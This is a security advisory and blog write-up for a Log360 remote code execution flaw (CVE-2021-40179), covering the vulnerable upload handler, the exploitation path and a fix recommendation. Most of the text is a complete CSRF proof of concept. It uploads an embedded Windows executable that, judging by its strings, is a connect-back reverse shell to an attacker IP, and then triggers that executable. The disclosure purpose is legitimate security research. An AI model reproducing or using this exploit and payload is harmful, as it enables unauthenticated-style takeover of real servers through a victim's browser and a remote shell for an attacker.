Sahil Dhar Application Security and Exploitation all day everyday.

Zoho ManageEngine Log360 - Remote Code Execution via Arbitrary File Overwrite


Zoho ManageEngine Log360 before Build 5224 allows execution of arbitrary code by overwriting/creating arbitrary files under /bin directory.

Identifiers

  • CVE-2021-40179

Affected versions

  • 5.2.2

Affected Instance(s)

  • /Home.do?mTCall=addCustomApp

Advisory URL

  • https://www.manageengine.com/log-management/readme.html#Build%205225

Technical Details

It was observed that, the application do not validate the file extension or contents while uploading the Custom app icon. This allows an attacker to execute arbitrary code by overwriting files under Log360\bin folder.

Impact

The impact in this case is 1-click RCE, as the affected endpoints reqiured for exploitation lacks CSRF protection as well.

Root Cause Analysis

In the following code snippet of HomeAction.java from ManageEngineLog360Client.jar file, observe that from line:66-68, the application saves the user input file via FileUtil.storeFile without performing any file validation checks.

52:  public ActionForward addCustomApp(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) {
53:    String forward = "homePage";
54:    try {
55:      JSONObject iconFileJson = FileActionHandler.getFileFromRequest(request, form, "APP_ICON");
56:      File iconFile = (iconFileJson.opt("FILE") != null) ? (File)iconFileJson.opt("FILE") : null;
57:      String iconName = iconFileJson.optString("FILE_NAME", null);
58:      JSONObject productSettings = new JSONObject();
59:      productSettings.put("PRODUCT_NAME", request.getParameter("PRODUCT_NAME"));
60:      productSettings.put("DISPLAY_NAME", request.getParameter("PRODUCT_NAME"));
61:      productSettings.put("PROTOCOL", request.getParameter("PROTOCOL"));
62:      productSettings.put("HOST", request.getParameter("HOST"));
63:      productSettings.put("PORT", request.getParameter("PORT"));
64:      productSettings.put("IS_CUSTOM_APP", true);
65:      String iconStyle = "adsCustomAppIcon";
66:      if (iconName != null) {
67:        String dir = System.getProperty("server.home") + File.separator + "webapps" + File.separator + "ads" + File.separator;
68:        FileUtil.storeFile(iconFile, new String[] { iconName, "images/adsf/common/logos/" });
69:        iconStyle = "images/adsf/common/logos/" + iconName;
70:      } 
71:      productSettings.put("ICON_STYLE", iconStyle);
72:      JumpToHandler.addSettings(productSettings);

The FileUtil.storeFile from com.manageengine.ads.fw.onpremise.util.FileUtil will simply create the file under the <installation_dir>/Log360/bin/webapps/ads/images/adsf/common/logos/ directory. Due to file check implemented at line:220, sending the request twice to the affected endpoint will create a file under <installation_dir>/Log360/bin/ directory. This allows to overwrite binary files, leading to code execution upon execution of affected binaries.

214:  public static String storeFile(File formFile, String... args) throws Exception {
215:    try {
216:      String imageLocation = tempDir;
217:      if (!"".equals(args[1]))
218:        imageLocation = args[1]; 
219:      File saveDir = new File(imageLocation);
220:      if (!saveDir.exists())
221:        saveDir.mkdirs(); 
222:      out.log(Level.INFO, "Stored location :: " + imageLocation + " :: " + args[0]);
223:      File writeFile = new File(imageLocation + args[0]);
224:      formFile.renameTo(writeFile);
225:      return args[1] + args[0];
226:    } catch (Exception ex) {
227:      throw ex;
228:    } 
229:  }

Exploitation Path

  • Create a filename cmd.exe under <installation_dir>/Log360/bin/ directory by sending the request twice to the affected endpoint.

  • As the exploitation in this case depends on the execution of overwritten binary, upon further analysis it was observed that the endpoint /RestAPI/WC/Home?mTCall=getGlobalDetails looks for a cmd.exe file under <installation_dir>/Log360/bin/ directory and executes it. This can be observed in the following screenshot.

Exploitation

Following POC code can be used to create and execute a malicious cmd.exe file under <installation_dir>/Log360/bin/ folder.

<html>
    <head>
    <meta content="text/html;charset=utf-8" http-equiv="Content-Type">
    <meta content="utf-8" http-equiv="encoding"></head>
<body>
    <script>
        function stage_one() {
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "http:\/\/192.168.0.196:8095\/Home.do?mTCall=addCustomApp", true);
            xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
            xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
            xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------73327819332757872212183986439");
            xhr.withCredentials = true;
            var body = "-----------------------------73327819332757872212183986439\r\n" +
                "Content-Disposition: form-data; name=\"APP_ICON\"; filename=\"cmd.exe\"\r\n" +
                "Content-Type: image/png\r\n" +
                "\r\n" +
                "MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4\t\xcd!\xb8\x01L\xcd!This program cannot be run in DOS mode.\r\r\n" +
                "$\x00\x00\x00\x00\x00\x00\x00PE\x00\x00L\x01\x03\x00\x86\x9e\xbc`\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\"\x00\x0b\x010\x00\x00\n" +
                "\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\")\x00\x00\x00 \x00\x00\x00@\x00\x00\x00\x00@\x00\x00 \x00\x00\x00\x02\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x03\x00@\x85\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd0(\x00\x00O\x00\x00\x00\x00@\x00\x00\xac\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08 \x00\x00H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.text\x00\x00\x00(\t\x00\x00\x00 \x00\x00\x00\n" +
                "\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00`.rsrc\x00\x00\x00\xac\x04\x00\x00\x00@\x00\x00\x00\x06\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00@.reloc\x00\x00\x0c\x00\x00\x00\x00`\x00\x00\x00\x02\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04)\x00\x00\x00\x00\x00\x00H\x00\x00\x00\x02\x00\x05\x00\x04\"\x00\x00\xcc\x06\x00\x00\x01\x00\x00\x00\x01\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1b0\x03\x00\t\x01\x00\x00\x01\x00\x00\x11\x00r\x01\x00\x00p \\\x11\x00\x00s\x04\x00\x00\n" +
                "\n" +
                "\x00\x06o\x05\x00\x00\n" +
                "\x0b\x00\x07s\x06\x00\x00\n" +
                "\x0c\x00\x07s\x07\x00\x00\n" +
                "\x80\x01\x00\x00\x04s\x08\x00\x00\n" +
                "\rs\t\x00\x00\n" +
                "\x13\x04\x11\x04o\n" +
                "\x00\x00\n" +
                "r\x1d\x00\x00po\x0b\x00\x00\n" +
                "\x00\x11\x04o\n" +
                "\x00\x00\n" +
                "\x17o\x0c\x00\x00\n" +
                "\x00\x11\x04o\n" +
                "\x00\x00\n" +
                "\x16o\r\x00\x00\n" +
                "\x00\x11\x04o\n" +
                "\x00\x00\n" +
                "\x17o\x0e\x00\x00\n" +
                "\x00\x11\x04o\n" +
                "\x00\x00\n" +
                "\x17o\x0f\x00\x00\n" +
                "\x00\x11\x04o\n" +
                "\x00\x00\n" +
                "\x17o\x10\x00\x00\n" +
                "\x00\x11\x04\x14\xfe\x06\x02\x00\x00\x06s\x11\x00\x00\n" +
                "o\x12\x00\x00\n" +
                "\x00\x11\x04o\x13\x00\x00\n" +
                "&\x11\x04o\x14\x00\x00\n" +
                "\x00++\x00\t\x08o\x15\x00\x00\n" +
                "o\x16\x00\x00\n" +
                "&\x11\x04o\x17\x00\x00\n" +
                "\to\x18\x00\x00\n" +
                "\x00\t\x16\to\x19\x00\x00\n" +
                "o\x1a\x00\x00\n" +
                "&\x00\x17\x13\x05+\xd0\x08,\x07\x08o\x1b\x00\x00\n" +
                "\x00\xdc\x07,\x07\x07o\x1b\x00\x00\n" +
                "\x00\xdc\x06,\x07\x06o\x1b\x00\x00\n" +
                "\x00\xdc\x00\x00\x00\x01(\x00\x00\x02\x00!\x00\xc7\xe8\x00\x0b\x00\x00\x00\x00\x02\x00\x19\x00\xda\xf3\x00\x0b\x00\x00\x00\x00\x02\x00\x11\x00\xed\xfe\x00\x0b\x00\x00\x00\x00\x1b0\x02\x00I\x00\x00\x00\x02\x00\x00\x11\x00s\x08\x00\x00\n" +
                "\n" +
                "\x03o\x1c\x00\x00\n" +
                "(\x1d\x00\x00\n" +
                "\x16\xfe\x01\x0b\x07,/\x00\x00\x06\x03o\x1c\x00\x00\n" +
                "o\x16\x00\x00\n" +
                "&~\x01\x00\x00\x04\x06o\x18\x00\x00\n" +
                "\x00~\x01\x00\x00\x04o\x1e\x00\x00\n" +
                "\x00\x00\xde\x05\x0c\x00\x00\xde\x00\x00*\x00\x00\x00\x01\x10\x00\x00\x00\x00\x1a\x00(B\x00\x05\r\x00\x00\x01\"\x02(\x1f\x00\x00\n" +
                "\x00*\x00\x00\x00BSJB\x01\x00\x01\x00\x00\x00\x00\x00\x0c\x00\x00\x00v4.0.30319\x00\x00\x00\x00\x05\x00l\x00\x00\x004\x02\x00\x00#~\x00\x00\xa0\x02\x00\x00$\x03\x00\x00#Strings\x00\x00\x00\x00\xc4\x05\x00\x000\x00\x00\x00#US\x00\xf4\x05\x00\x00\x10\x00\x00\x00#GUID\x00\x00\x00\x04\x06\x00\x00\xc8\x00\x00\x00#Blob\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x01W\x15\x02\x00\t\x00\x00\x00\x00\xfa\x013\x00\x16\x00\x00\x01\x00\x00\x00\x14\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x1f\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\xf8\x00\x01\x00\x00\x00\x00\x00\x06\x00\x9f\x00-\x02\x06\x00\xbf\x00-\x02\x06\x00\x8b\x00\x1a\x02\x0f\x00M\x02\x00\x00\x06\x00\x99\x02L\x01\x06\x00\xd5\x01\n" +
                "\x00\n" +
                "\x00\xa0\x02\x86\x02\x06\x00=\x01\n" +
                "\x00\x06\x00\x81\x01\n" +
                "\x00\x06\x00\x99\x01\xf7\x02\n" +
                "\x00~\x02\x1a\x02\n" +
                "\x00\\\x02\x1a\x02\x06\x00X\x01L\x01\n" +
                "\x00,\x01\x86\x02\n" +
                "\x00p\x01\x1a\x02\n" +
                "\x00\xbc\x01\x1a\x02\x06\x00\x8e\x01\n" +
                "\x00\x06\x00\xef\x01\n" +
                "\x00\x06\x00D\x00L\x01\x06\x00\x02\x01L\x01\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\x01\x00\x01\x00\x10\x00D\x01\x1a\x01\x15\x00\x01\x00\x01\x00\x11\x00\xe2\x01\x83\x00P \x00\x00\x00\x00\x96\x00S\x01\x87\x00\x01\x00\x90!\x00\x00\x00\x00\x91\x00\xa7\x01\x8d\x00\x02\x00\xf8!\x00\x00\x00\x00\x86\x18\x14\x02\x06\x00\x04\x00\x00\x00\x01\x00r\x02\x00\x00\x01\x00w\x02\x00\x00\x02\x00{\x00\t\x00\x14\x02\x01\x00\x11\x00\x14\x02\x06\x00\x19\x00\x14\x02\n" +
                "\x009\x00\x14\x02\x1e\x009\x00:\x01$\x00I\x00\x14\x02)\x001\x00\x14\x02)\x00Q\x00\x14\x02\x06\x00Y\x00\x14\x02\x06\x00Y\x00b\x01/\x00y\x00P\x004\x00y\x00\x03\x039\x00y\x00\xdd\x009\x00y\x00\xdc\x029\x00y\x00\xc2\x029\x00y\x00\xfa\x019\x00\x81\x00\x14\x02\x3e\x00Y\x00&\x00D\x00Y\x00\xaa\x02J\x00Y\x00]\x00\x06\x00\x89\x00h\x00N\x00Q\x00=\x00R\x00Y\x00\xb0\x02X\x00\x91\x00q\x00]\x00Q\x00\x0f\x01b\x00Q\x00\xf1\x00f\x00\x99\x00\x83\x00\x06\x00a\x00\x14\x00N\x00\xa1\x00\x16\x03u\x00\x91\x00\t\x01\x06\x00)\x00\x14\x02\x06\x00.\x00\x0b\x00\x94\x00.\x00\x13\x00\x9d\x00.\x00\x1b\x00\xbc\x00\x10\x00m\x00\x04\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&\x01\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00z\x00\x1d\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00z\x00L\x01\x00\x00\x00\x00\x00\x00\x00\x3cModule\x3e\x00System.IO\x00get_Data\x00mscorlib\x00add_OutputDataReceived\x00Append\x00IDisposable\x00set_FileName\x00BeginOutputReadLine\x00WriteLine\x00outLine\x00Dispose\x00DebuggableAttribute\x00CompilationRelaxationsAttribute\x00RuntimeCompatibilityAttribute\x00set_UseShellExecute\x00Remove\x00shell.exe\x00String\x00Flush\x00get_Length\x00ConnectBack\x00shell\x00NetworkStream\x00GetStream\x00Program\x00System\x00Main\x00Exception\x00get_StartInfo\x00ProcessStartInfo\x00StreamReader\x00TextReader\x00StringBuilder\x00CmdOutputDataHandler\x00DataReceivedEventHandler\x00StreamWriter\x00streamWriter\x00TextWriter\x00set_RedirectStandardError\x00.ctor\x00System.Diagnostics\x00System.Runtime.CompilerServices\x00DebuggingModes\x00DataReceivedEventArgs\x00args\x00sendingProcess\x00System.Net.Sockets\x00Object\x00TcpClient\x00Start\x00get_StandardInput\x00set_RedirectStandardInput\x00set_RedirectStandardOutput\x00System.Text\x00set_CreateNoWindow\x00IsNullOrEmpty\x00\x00\x1b1\x009\x002\x00.\x001\x006\x008\x00.\x000\x00.\x001\x000\x003\x00\x00\x0fc\x00m\x00d\x00.\x00e\x00x\x00e\x00\x00\x00\x00\x00\xc0\xddVw\xa5\xe1\xb6C\x86#0\x8ev@\xe2\x11\x00\x04 \x01\x01\x08\x03 \x00\x01\x05 \x01\x01\x11\x11\r\x07\x06\x12\x1d\x12!\x12%\x12)\x12-\x02\x05 \x02\x01\x0e\x08\x04 \x00\x129\x05 \x01\x01\x12!\x04 \x00\x12=\x04 \x01\x01\x0e\x04 \x01\x01\x02\x05 \x02\x01\x1c\x18\x05 \x01\x01\x12A\x03 \x00\x02\x03 \x00\x0e\x05 \x01\x12)\x0e\x04 \x00\x12\x19\x04 \x01\x01\x1c\x03 \x00\x08\x06 \x02\x12)\x08\x08\x07\x07\x03\x12)\x02\x125\x04\x00\x01\x02\x0e\x08\xb7z\\V\x194\xe0\x89\x03\x06\x12\x19\x05\x00\x01\x01\x1d\x0e\x06\x00\x02\x01\x1c\x121\x08\x01\x00\x08\x00\x00\x00\x00\x00\x1e\x01\x00\x01\x00T\x02\x16WrapNonExceptionThrows\x01\x08\x01\x00\x07\x01\x00\x00\x00\x00\x00\x00\x00\xf8(\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12)\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04)\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00_CorExeMain\x00mscoree.dll\x00\x00\x00\x00\x00\xff%\x00 @\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x10\x00\x00\x00 \x00\x00\x80\x18\x00\x00\x00P\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x008\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x00h\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\xac\x02\x00\x00\x90@\x00\x00\x1c\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x024\x00\x00\x00V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00\x00\x00\xbd\x04\xef\xfe\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00D\x00\x00\x00\x01\x00V\x00a\x00r\x00F\x00i\x00l\x00e\x00I\x00n\x00f\x00o\x00\x00\x00\x00\x00$\x00\x04\x00\x00\x00T\x00r\x00a\x00n\x00s\x00l\x00a\x00t\x00i\x00o\x00n\x00\x00\x00\x00\x00\x00\x00\xb0\x04|\x01\x00\x00\x01\x00S\x00t\x00r\x00i\x00n\x00g\x00F\x00i\x00l\x00e\x00I\x00n\x00f\x00o\x00\x00\x00X\x01\x00\x00\x01\x000\x000\x000\x000\x000\x004\x00b\x000\x00\x00\x00,\x00\x02\x00\x01\x00F\x00i\x00l\x00e\x00D\x00e\x00s\x00c\x00r\x00i\x00p\x00t\x00i\x00o\x00n\x00\x00\x00\x00\x00 \x00\x00\x000\x00\x08\x00\x01\x00F\x00i\x00l\x00e\x00V\x00e\x00r\x00s\x00i\x00o\x00n\x00\x00\x00\x00\x000\x00.\x000\x00.\x000\x00.\x000\x00\x00\x00$\x00\x02\x00\x01\x00I\x00n\x00t\x00e\x00r\x00n\x00a\x00l\x00N\x00a\x00m\x00e\x00\x00\x00?\x00\x00\x00(\x00\x02\x00\x01\x00L\x00e\x00g\x00a\x00l\x00C\x00o\x00p\x00y\x00r\x00i\x00g\x00h\x00t\x00\x00\x00 \x00\x00\x00,\x00\x02\x00\x01\x00O\x00r\x00i\x00g\x00i\x00n\x00a\x00l\x00F\x00i\x00l\x00e\x00n\x00a\x00m\x00e\x00\x00\x00?\x00\x00\x004\x00\x08\x00\x01\x00P\x00r\x00o\x00d\x00u\x00c\x00t\x00V\x00e\x00r\x00s\x00i\x00o\x00n\x00\x00\x000\x00.\x000\x00.\x000\x00.\x000\x00\x00\x008\x00\x08\x00\x01\x00A\x00s\x00s\x00e\x00m\x00b\x00l\x00y\x00 \x00V\x00e\x00r\x00s\x00i\x00o\x00n\x00\x00\x000\x00.\x000\x00.\x000\x00.\x000\x00\x00\x00\xbcB\x00\x00\xea\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbb\xbf\x3c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?\x3e\r\n" +
                "\r\n" +
                "\x3cassembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\"\x3e\r\n" +
                "  \x3cassemblyIdentity version=\"1.0.0.0\" name=\"MyApplication.app\"/\x3e\r\n" +
                "  \x3ctrustInfo xmlns=\"urn:schemas-microsoft-com:asm.v2\"\x3e\r\n" +
                "    \x3csecurity\x3e\r\n" +
                "      \x3crequestedPrivileges xmlns=\"urn:schemas-microsoft-com:asm.v3\"\x3e\r\n" +
                "        \x3crequestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"/\x3e\r\n" +
                "      \x3c/requestedPrivileges\x3e\r\n" +
                "    \x3c/security\x3e\r\n" +
                "  \x3c/trustInfo\x3e\r\n" +
                "\x3c/assembly\x3e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x0c\x00\x00\x00$9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n" +
                "-----------------------------73327819332757872212183986439\r\n" +
                "Content-Disposition: form-data; name=\"PRODUCT_NAME\"\r\n" +
                "\r\n" +
                "ManageEngine Log360 test\r\n" +
                "-----------------------------73327819332757872212183986439\r\n" +
                "Content-Disposition: form-data; name=\"PROTOCOL\"\r\n" +
                "\r\n" +
                "http\r\n" +
                "-----------------------------73327819332757872212183986439\r\n" +
                "Content-Disposition: form-data; name=\"HOST\"\r\n" +
                "\r\n" +
                "localhost\r\n" +
                "-----------------------------73327819332757872212183986439\r\n" +
                "Content-Disposition: form-data; name=\"PORT\"\r\n" +
                "\r\n" +
                "4444\r\n" +
                "-----------------------------73327819332757872212183986439--\r\n";
            var aBody = new Uint8Array(body.length);
            for (var i = 0; i < aBody.length; i++)
                aBody[i] = body.charCodeAt(i);
            xhr.send(new Blob([aBody]));
        }

        function sleep(ms) {
            return new Promise(resolve => setTimeout(resolve, ms));
        }

        function stage_two() {
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "http:\/\/192.168.0.196:8095\/RestAPI\/WC\/Home?mTCall=getGlobalDetails", true);
            xhr.setRequestHeader("Accept", "application\/json, text\/javascript, *\/*; q=0.01");
            xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
            xhr.withCredentials = true;
            var body = "";
            var aBody = new Uint8Array(body.length);
            for (var i = 0; i < aBody.length; i++)
                aBody[i] = body.charCodeAt(i);
            xhr.send(new Blob([aBody]));
        }
        async function exploit() {
            console.log("[+] Executing stage 1");
            stage_one();
            await sleep(3000);
            console.log("[+] Re-Executing stage 1 to write cmd.exe");
            stage_one();
            await sleep(3000);
            console.log("[+] Executing cmd.exe malicious binary");
            stage_two();
        }
    exploit();
    </script>
</body>
</html>

As can be seen in the following screenshot, one can execute arbitrary code on the affected version of Log360 instances.

Recommendation

It is recommended to only allow white-listed file extensions and content-types to be uploaded on the server.